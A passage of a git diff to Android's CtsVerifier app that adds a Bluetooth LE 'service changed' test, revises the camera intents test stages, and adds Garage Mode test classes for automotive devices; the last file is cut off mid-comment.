+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -116,6 +116,8 @@
"com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED";
public static final String BLE_READ_REMOTE_RSSI =
"com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
+ public static final String BLE_ON_SERVICE_CHANGED =
+ "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
"com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_NOPERMISSION";
public static final String BLE_CHARACTERISTIC_WRITE_NOPERMISSION =
@@ -172,6 +174,8 @@
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR";
public static final String BLE_CLIENT_ACTION_READ_RSSI =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_RSSI";
+ public static final String BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED =
+ "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED";
public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
"com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
@@ -269,6 +273,9 @@
private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
+ private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+ UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+
private static final UUID UPDATE_DESCRIPTOR_UUID =
UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
@@ -278,6 +285,7 @@
public static final String WRITE_VALUE = "CLIENT_TEST";
private static final String NOTIFY_VALUE = "NOTIFY_TEST";
public static final String WRITE_VALUE_BAD_RESP = "BAD_RESP_TEST";
+ public static final String SERVICE_CHANGED_VALUE = "CLIENT_SVC_CHG";
// current test category
private String mCurrentAction;
@@ -301,6 +309,15 @@
// Lock for synchronization during notification request test.
private final Object mRequestNotificationLock = new Object();
+ // Lock for triggering service changed event on server side.
+ private final Object mServiceChangedLock = new Object();
+ private static final int SERVICE_CHANGED_FLAG_INIT = 0x00;
+ private static final int SERVICE_CHANGED_FLAG_TRIGGER_ACTION = 0x01;
+ private static final int SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED = 0x02;
+ private static final int SERVICE_CHANGED_FLAG_ALL = 0x03;
+ private static final int SERVOCE_CHANGED_FLAG_IGNORE = 0xFF;
+ private int mServiceChangedFlag;
+
private enum ReliableWriteState {
RELIABLE_WRITE_NONE,
RELIABLE_WRITE_WRITE_1ST_DATA,
@@ -463,6 +480,10 @@
case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
break;
+ case BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED:
+ initializeServiceChangedEvent();
+ writeCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, WRITE_VALUE);
+ break;
}
}
}
@@ -599,6 +620,29 @@
}
}
+ private void initializeServiceChangedEvent() {
+ synchronized (mServiceChangedLock) {
+ mServiceChangedFlag = SERVICE_CHANGED_FLAG_INIT;
+ }
+ }
+
+ private void sendServiceChangedEventIfReady(int flag) {
+ boolean shouldSend = false;
+ synchronized (mServiceChangedLock) {
+ mServiceChangedFlag |= flag;
+ if (mServiceChangedFlag == SERVICE_CHANGED_FLAG_ALL) {
+ mServiceChangedFlag |= SERVOCE_CHANGED_FLAG_IGNORE;
+ shouldSend = true;
+ }
+ }
+
+ if (shouldSend) {
+ writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+ SERVICE_CHANGED_VALUE);
+ notifyServiceChanged();
+ }
+ }
+
private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
if (characteristic != null) {
mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
@@ -791,6 +835,12 @@
sendBroadcast(intent);
}
+ private void notifyServiceChanged() {
+ showMessage("Remote service changed");
+ Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
+ sendBroadcast(intent);
+ }
+
private BluetoothGattService getService(UUID serverUid) {
BluetoothGattService service = null;
@@ -993,7 +1043,9 @@
Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
}
- if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
+ if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+ sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_TRIGGER_ACTION);
+ } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
if (status == BluetoothGatt.GATT_SUCCESS) {
notifyMtuChanged();
@@ -1221,6 +1273,17 @@
notifyError("Failed to read remote rssi");
}
}
+
+ @Override
+ public void onServiceChanged(BluetoothGatt gatt) {
+ if (DEBUG) {
+ Log.d(TAG, "onServiceChanged");
+ }
+
+ if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+ sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED);
+ }
+ }
};
private final ScanCallback mScanCallback = new ScanCallback() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index b5220f8..bfcd85d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -60,7 +60,8 @@
private static final int PASS_FLAG_INDICATE_CHARACTERISTIC = 0x8000;
private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x10000;
private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x20000;
- private static final int PASS_FLAG_ALL = 0x3FFFF;
+ private static final int PASS_FLAG_ON_SERVICE_CHANGED = 0x40000;
+ private static final int PASS_FLAG_ALL = 0x7FFFF;
private final int BLE_CLIENT_CONNECT = 0;
private final int BLE_BLE_DISCOVER_SERVICE = 1;
@@ -79,7 +80,8 @@
private final int BLE_READ_DESCRIPTOR_NO_PERMISSION = 13; //14;
private final int BLE_WRITE_DESCRIPTOR_NO_PERMISSION = 14; //15;
private final int BLE_READ_RSSI = 15; //16;
- private final int BLE_CLIENT_DISCONNECT = 15; //16; //17;
+ private final int BLE_ON_SERVICE_CHANGED = 15; //16; //17;
+ private final int BLE_CLIENT_DISCONNECT = 16; //17; //18;
private TestAdapter mTestAdapter;
private long mPassed;
@@ -119,6 +121,7 @@
filter.addAction(BleClientService.BLE_RELIABLE_WRITE_COMPLETED);
filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
+ filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
filter.addAction(BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION);
@@ -178,6 +181,7 @@
testList.add(R.string.ble_write_descriptor_nopermission_name);
// TODO: too flaky b/34951749
// testList.add(R.string.ble_read_rssi_name);
+ testList.add(R.string.ble_on_service_changed);
testList.add(R.string.ble_client_disconnect_name);
return testList;
@@ -347,13 +351,19 @@
// execute disconnection test
mPassed |= PASS_FLAG_READ_RSSI;
Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
- newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+ newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
break;
case BleClientService.BLE_READ_REMOTE_RSSI:
actionName = getString(R.string.ble_read_rssi_name);
mTestAdapter.setTestPass(BLE_READ_RSSI);
mPassed |= PASS_FLAG_READ_RSSI;
// execute disconnection test
+ newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+ break;
+ case BleClientService.BLE_ON_SERVICE_CHANGED:
+ actionName = getString(R.string.ble_on_service_changed);
+ mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+ mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
break;
case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index f5e29ba..8177ca2 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -119,6 +119,8 @@
"com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
public static final String BLE_ADD_SERVICE_FAIL =
"com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+ public static final String BLE_SERVICE_CHANGED_INDICATION =
+ "com.android.cts.verifier.bluetooth.BLE_SERVICE_CHANGED_INDICATION";
private static final UUID SERVICE_UUID =
UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
@@ -137,6 +139,8 @@
UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
private static final UUID SERVICE_UUID_INCLUDED =
UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+ private static final UUID SERVICE_UUID_SERVICE_CHANGED =
+ UUID.fromString("00009993-0000-1000-8000-00805f9b34fb");
// Variable for registration permission of Characteristic
private static final UUID CHARACTERISTIC_NO_READ_UUID =
@@ -190,6 +194,12 @@
private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
+ // Variable for registration characteristic of service changed service
+ private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+ UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+ private static final UUID SERVICE_CHANGED_CHARACTERISTIC_UUID =
+ UUID.fromString("00009948-0000-1000-8000-00805f9b34fb");
+
private static final UUID UPDATE_DESCRIPTOR_UUID =
UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
@@ -225,6 +235,7 @@
private String mMtuTestReceivedData;
private Runnable mResetValuesTask;
private BluetoothGattService mAdditionalNotificationService;
+ private BluetoothGattService mServiceChangedService;
// Task to notify failure of starting secure test.
// Secure test calls BluetoothDevice#createBond() when devices were not paired.
@@ -247,6 +258,7 @@
mService = createService();
mAdditionalNotificationService = createAdditionalNotificationService();
+ mServiceChangedService = createServiceChangedService();
mDevice = null;
mReliableWriteValue = "";
@@ -586,6 +598,16 @@
resetValues();
}
+ private void notifyServiceChangedIndication() {
+ if (DEBUG) {
+ Log.d(TAG, "notifyServiceChangedIndication");
+ }
+ Intent intent = new Intent(BLE_SERVICE_CHANGED_INDICATION);
+ sendBroadcast(intent);
+
+ resetValues();
+ }
+
private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
BluetoothGattCharacteristic characteristic = mService.getCharacteristic(uuid);
if (characteristic == null) {
@@ -607,6 +629,17 @@
return descriptor;
}
+ private BluetoothGattService createServiceChangedService() {
+ BluetoothGattService service =
+ new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+
+ BluetoothGattCharacteristic dummyCharacteristic =
+ new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
+
+ service.addCharacteristic(dummyCharacteristic);
+ return service;
+ }
+
/**
* Create service for notification test
* @return
@@ -806,6 +839,11 @@
notiCharacteristic.setValue(NOTIFY_VALUE);
service.addCharacteristic(notiCharacteristic);
+ // Add new Characteristics (Service change control)
+ BluetoothGattCharacteristic controlCharacteristic =
+ new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+ service.addCharacteristic(controlCharacteristic);
+
return service;
}
@@ -925,6 +963,8 @@
mService.addService(service);
mGattServer.addService(mAdditionalNotificationService);
} else if (uuid.equals(mAdditionalNotificationService.getUuid())) {
+ mGattServer.addService(mServiceChangedService);
+ } else if (uuid.equals(mServiceChangedService.getUuid())) {
// all services added
notifyServiceAdded();
} else {
@@ -1007,6 +1047,9 @@
case DESCRIPTOR_READ_NO_PERMISSION:
notifyDescriptorReadRequestWithoutPermission();
break;
+ case BleClientService.SERVICE_CHANGED_VALUE:
+ notifyServiceChangedIndication();
+ break;
}
if (responseNeeded) {
mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
@@ -1014,6 +1057,14 @@
return;
}
+ if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
+ if (responseNeeded) {
+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+ }
+ mGattServer.removeService(mServiceChangedService);
+ return;
+ }
+
// MTU test flow
if (mCountMtuChange > 0) {
if (preparedWrite) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
index c58ee46..6adaad3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
@@ -52,7 +52,8 @@
private static final int PASS_FLAG_MTU_CHANGE_23BYTES = 0x4000;
private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x8000;
private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x10000;
- private static final int PASS_FLAG_ALL = 0x1FFFF;
+ private static final int PASS_FLAG_SERVICE_CHANGED_INDICATION = 0x20000;
+ private static final int PASS_FLAG_ALL = 0x3FFFF;
private final int BLE_SERVICE_ADDED = 0;
private final int BLE_SERVER_CONNECTED = 1;
@@ -70,8 +71,9 @@
private final int BLE_DESCRIPTOR_WRITE_REQUEST = 12; //13;
private final int BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION = 13; //14;
private final int BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION = 14; //15;
- private final int BLE_SERVER_DISCONNECTED = 15; //16;
- private final int BLE_OPEN_FAIL = 16; //17;
+ private final int BLE_SERVOCE_CHANGED_INDICATION = 15; // 16;
+ private final int BLE_SERVER_DISCONNECTED = 16; //17;
+ private final int BLE_OPEN_FAIL = 17; //18;
private TestAdapter mTestAdapter;
private long mAllPassed;
@@ -122,6 +124,7 @@
filter.addAction(BleServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);
filter.addAction(BleServerService.BLE_ADD_SERVICE_FAIL);
+ filter.addAction(BleServerService.BLE_SERVICE_CHANGED_INDICATION);
registerReceiver(mBroadcast, filter);
}
@@ -155,6 +158,7 @@
testList.add(R.string.ble_server_write_descriptor);
testList.add(R.string.ble_server_read_descriptor_without_permission);
testList.add(R.string.ble_server_write_descriptor_without_permission);
+ testList.add(R.string.ble_server_service_changed_indication);
testList.add(R.string.ble_server_receiving_disconnect);
return testList;
}
@@ -256,6 +260,10 @@
mTestAdapter.setTestPass(BLE_SERVER_MTU_512BYTES);
mAllPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
break;
+ case BleServerService.BLE_SERVICE_CHANGED_INDICATION:
+ mTestAdapter.setTestPass(BLE_SERVOCE_CHANGED_INDICATION);
+ mAllPassed |= PASS_FLAG_SERVICE_CHANGED_INDICATION;
+ break;
case BleServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
break;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
index 5d2bff7..7eae01c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
@@ -101,7 +101,7 @@
Camera.ACTION_NEW_VIDEO,
null,
null,
- Camera.ACTION_NEW_VIDEO
+ null
};
private ImageButton mPassButton;
@@ -204,7 +204,8 @@
}
private void updateSuccessState() {
- if (mActionSuccess && mUriSuccess) {
+ // Last stage requires additional step to switch on location permission
+ if (mActionSuccess && mUriSuccess && getStageIndex() < NUM_STAGES - 1) {
mState = STATE_SUCCESSFUL;
}
@@ -308,7 +309,7 @@
// Only the last one uses the PassFailButtons click callback function,
// which gracefully terminates the activity.
if (stageIndex + 1 < NUM_STAGES) {
- setPassButtonGoesToNextStage(stageIndex);
+ setPassButtonGoesToNextStage();
}
resetButtons();
@@ -379,7 +380,7 @@
Boolean locationEnabled = (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) ==
PackageManager.PERMISSION_GRANTED);
- if (getStageIndex() == STAGE_INTENT_VIDEO) {
+ if (getStageIndex() == NUM_STAGES - 1) {
/**
* Don't enable the pass /fail button till the user grants CTS verifier location
* access again.
@@ -412,7 +413,7 @@
public void onPause() {
super.onPause();
/*
- When testing INTENT_PICTURE, INTENT_VIDEO,
+ When testing INTENT_PICTURE, INTENT_PICTURE_SECURE, INTENT_VIDEO,
do not allow user to cheat by going to camera app and re-firing
the intents by taking a photo/video
*/
@@ -446,6 +447,9 @@
break;
case STAGE_INTENT_VIDEO:
handleIntentVideoResult();
+ // No broadcast should be received because EXTRA_OUTPUT is set.
+ // Proceed to update test result
+ updateSuccessState();
break;
default:
return;
@@ -546,14 +550,6 @@
mState = STATE_FAILED;
}
- // For STAGE_INTENT_PICTURE test, if EXTRA_OUTPUT is not assigned in intent,
- // file should NOT be saved so triggering this is a test failure.
- if (getStageIndex() == STAGE_INTENT_PICTURE ||
- getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
- Log.e(TAG, "FAIL: STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE test should not create file");
- mState = STATE_FAILED;
- }
-
if (mState != STATE_FAILED) {
return true;
} else {
@@ -565,14 +561,8 @@
e.printStackTrace();
}
- if (getStageIndex() == STAGE_INTENT_PICTURE ||
- getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
- // STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE should timeout
- return true;
- } else {
- Log.e(TAG, "FAIL: timeout waiting for URI trigger");
- return false;
- }
+ Log.e(TAG, "FAIL: timeout waiting for URI trigger");
+ return false;
}
protected void onPostExecute(Boolean pass) {
@@ -614,7 +604,7 @@
mTestEnv.setUp();
/**
- * Video intents do not need to wait on a ContentProvider broadcast since we're starting
+ * Intent stages do not need to wait on a ContentProvider broadcast since we're starting
* the intent activity with EXTRA_OUTPUT set
*/
if (stageIndex != STAGE_INTENT_VIDEO &&
@@ -767,7 +757,7 @@
// Auto-generated method stub
}
- private void setPassButtonGoesToNextStage(final int stageIndex) {
+ private void setPassButtonGoesToNextStage() {
findViewById(R.id.pass_button).setOnClickListener(this);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
new file mode 100644
index 0000000..a7f742f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.AsyncTask;
+import android.os.Handler;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.lang.ref.WeakReference;
+import java.util.List;
+
+public final class GarageModeChecker extends JobService {
+ private static final String TAG = GarageModeChecker.class.getSimpleName();
+
+ static final String PREFS_FILE_NAME = "GarageModeChecker_prefs";
+ static final String PREFS_INITIATION = "test-initiation";
+ static final String PREFS_GARAGE_MODE_START = "garage-mode-start";
+ static final String PREFS_GARAGE_MODE_END = "garage-mode-end";
+ static final String PREFS_TERMINATION = "termination-time";
+ static final String PREFS_JOB_UPDATE = "job-update-time";
+ static final String PREFS_HAD_CONNECTIVITY = "had-connectivity";
+
+ static final int SECONDS_PER_ITERATION = 10;
+ static final int MS_PER_ITERATION = SECONDS_PER_ITERATION * 1000;
+
+ private static final int GARAGE_JOB_ID = GarageModeTestActivity.class.hashCode();
+ private static final String JOB_NUMBER = "job_number";
+ private static final String REMAINING_SECONDS = "remaining_seconds";
+ // JobScheduler allows a maximum of 10 minutes for a job, but depending on vendor implementation
+ // Garage Mode may not last that long. So, max job duration is set to 60 seconds.
+ private static final int MAX_SECONDS_PER_JOB = 60;
+
+ private static final int MSG_FINISHED = 0;
+ private static final int MSG_RUN_JOB = 1;
+ private static final int MSG_CANCEL_JOB = 2;
+
+ private Context mIdleJobContext;
+
+ private boolean mReportFirstExecution = true;
+
+ public static void scheduleAnIdleJob(Context context, int durationSeconds) {
+ JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+ // Get the next available job ID
+ int highestJobNumber = 0;
+ for (JobInfo jobInfo : jobScheduler.getAllPendingJobs()) {
+ int jobId = jobInfo.getId();
+ if (highestJobNumber < jobId) {
+ highestJobNumber = jobId;
+ }
+ }
+ scheduleJob(context, highestJobNumber + 1, durationSeconds);
+ }
+
+ private static void scheduleJob(Context context, int jobNumber, int durationSeconds) {
+ JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+ ComponentName jobComponentName = new ComponentName(context, GarageModeChecker.class);
+ JobInfo.Builder builder = new JobInfo.Builder(jobNumber, jobComponentName);
+
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putInt(JOB_NUMBER, jobNumber);
+ bundle.putInt(REMAINING_SECONDS, durationSeconds);
+
+ JobInfo jobInfo = builder
+ .setRequiresDeviceIdle(true)
+ .setExtras(bundle)
+ .build();
+ jobScheduler.schedule(jobInfo);
+ }
+
+ private final Handler mHandler = new Handler() {
+ private SparseArray<JobParameters> mTaskMap = new SparseArray<>();
+ private boolean mHaveContinuousConnectivity = true; // Assume true initially
+
+ @Override
+ public void handleMessage(Message msg) {
+ JobParameters job = (JobParameters) msg.obj;
+ switch (msg.what) {
+ case MSG_FINISHED:
+ mTaskMap.remove(job.getJobId());
+ jobFinished(job, false);
+ break;
+ case MSG_RUN_JOB:
+ checkConnectivity(msg.arg1);
+ GarageModeCheckerTask task = new GarageModeCheckerTask(this, job, msg.arg1);
+ task.execute();
+ mTaskMap.put(job.getJobId(), job);
+ break;
+ case MSG_CANCEL_JOB:
+ JobParameters runningJob = mTaskMap.get(job.getJobId());
+ if (runningJob != null) {
+ removeMessages(MSG_RUN_JOB, runningJob);
+ mTaskMap.remove(job.getJobId());
+ }
+ SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putLong(PREFS_TERMINATION, System.currentTimeMillis());
+ editor.commit();
+ Log.v(TAG, "Idle job was terminated");
+ break;
+ }
+ }
+
+ private void checkConnectivity(int iteration) {
+ if (mHaveContinuousConnectivity) {
+ // Check if we still have internet connectivity
+ NetworkInfo networkInfo = getApplicationContext()
+ .getSystemService(ConnectivityManager.class).getActiveNetworkInfo();
+ mHaveContinuousConnectivity = networkInfo != null
+ && networkInfo.isAvailable() && networkInfo.isConnected();
+ if (iteration == 0 || !mHaveContinuousConnectivity) {
+ // Save the connectivity state on the first pass and
+ // the first time we lose connectivity
+ SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putBoolean(PREFS_HAD_CONNECTIVITY, mHaveContinuousConnectivity);
+ editor.commit();
+ }
+ }
+ }
+ };
+
+ @Override
+ public boolean onStopJob(JobParameters jobParameters) {
+ Message msg = mHandler.obtainMessage(MSG_CANCEL_JOB, 0, 0, jobParameters);
+ mHandler.sendMessage(msg);
+ return false;
+ }
+
+ @Override
+ public boolean onStartJob(final JobParameters jobParameters) {
+ mIdleJobContext = getApplicationContext();
+ if (mReportFirstExecution) {
+ mReportFirstExecution = false;
+ // Remember the start time
+ SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putLong(PREFS_GARAGE_MODE_START, System.currentTimeMillis());
+ editor.commit();
+ Log.v(TAG, "Starting idle job");
+ }
+ Message msg = mHandler.obtainMessage(MSG_RUN_JOB, 0, 0, jobParameters);
+ mHandler.sendMessage(msg);
+ return true;
+ }
+
+ private final class GarageModeCheckerTask extends AsyncTask<Void, Void, Boolean> {
+ private final WeakReference<Handler> mHandler;
+ private final JobParameters mJobParameter;
+ private final int mIteration;
+
+ GarageModeCheckerTask(Handler handler, JobParameters jobParameters, int iteration) {
+ mHandler = new WeakReference<Handler>(handler);
+ mJobParameter = jobParameters;
+ mIteration = iteration;
+ }
+
+ @Override
+ protected Boolean doInBackground(Void... infos) {
+ int remainingSeconds = mJobParameter.getExtras().getInt(REMAINING_SECONDS);
+ int myMaxTime = Math.min(remainingSeconds, MAX_SECONDS_PER_JOB);
+ int elapsedSeconds = SECONDS_PER_ITERATION * mIteration;
+ long now = System.currentTimeMillis();
+ SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = null;
+
+ if (elapsedSeconds >= myMaxTime + SECONDS_PER_ITERATION) {
+ // This job is done
+ if (myMaxTime == remainingSeconds) {
+ // This is the final job. Note the completion time.
+ editor = prefs.edit();
+ editor.putLong(PREFS_GARAGE_MODE_END, now);
+ editor.commit();
+ Log.v(TAG, "Idle job is finished");
+ }
+ return false;
+ }
+
+ editor = prefs.edit();
+ editor.putLong(PREFS_JOB_UPDATE, now);
+ editor.commit();
+ if (elapsedSeconds >= myMaxTime && (myMaxTime < remainingSeconds)) {
+ // This job is about to finish and there is more time remaining.
+ // Schedule another job.
+ scheduleJob(mIdleJobContext, mJobParameter.getJobId() + 1,
+ remainingSeconds - elapsedSeconds);
+ }
+ return true;
+ }
+
+ @Override
+ protected void onPostExecute(Boolean result) {
+ final Handler handler = mHandler.get();
+ if (handler == null) {
+ return;
+ }
+ if (result) {
+ Message msg = handler.obtainMessage(MSG_RUN_JOB, mIteration + 1, 0, mJobParameter);
+ handler.sendMessageDelayed(msg, MS_PER_ITERATION);
+ } else {
+ Message msg = handler.obtainMessage(MSG_FINISHED, 0, 0, mJobParameter);
+ handler.sendMessage(msg);
+ }
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
new file mode 100644
index 0000000..74bbc08
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.text.DateFormat;
+
+/**
+ * Tests that Garage Mode runs at the end of a drive
+ */
+public final class GarageModeTestActivity extends PassFailButtons.Activity {
+ // Requirements from Android 11 Compatibility Definition
+ // 2.5.4. Performance and Power
+ // Automotive device implementations:
+ //
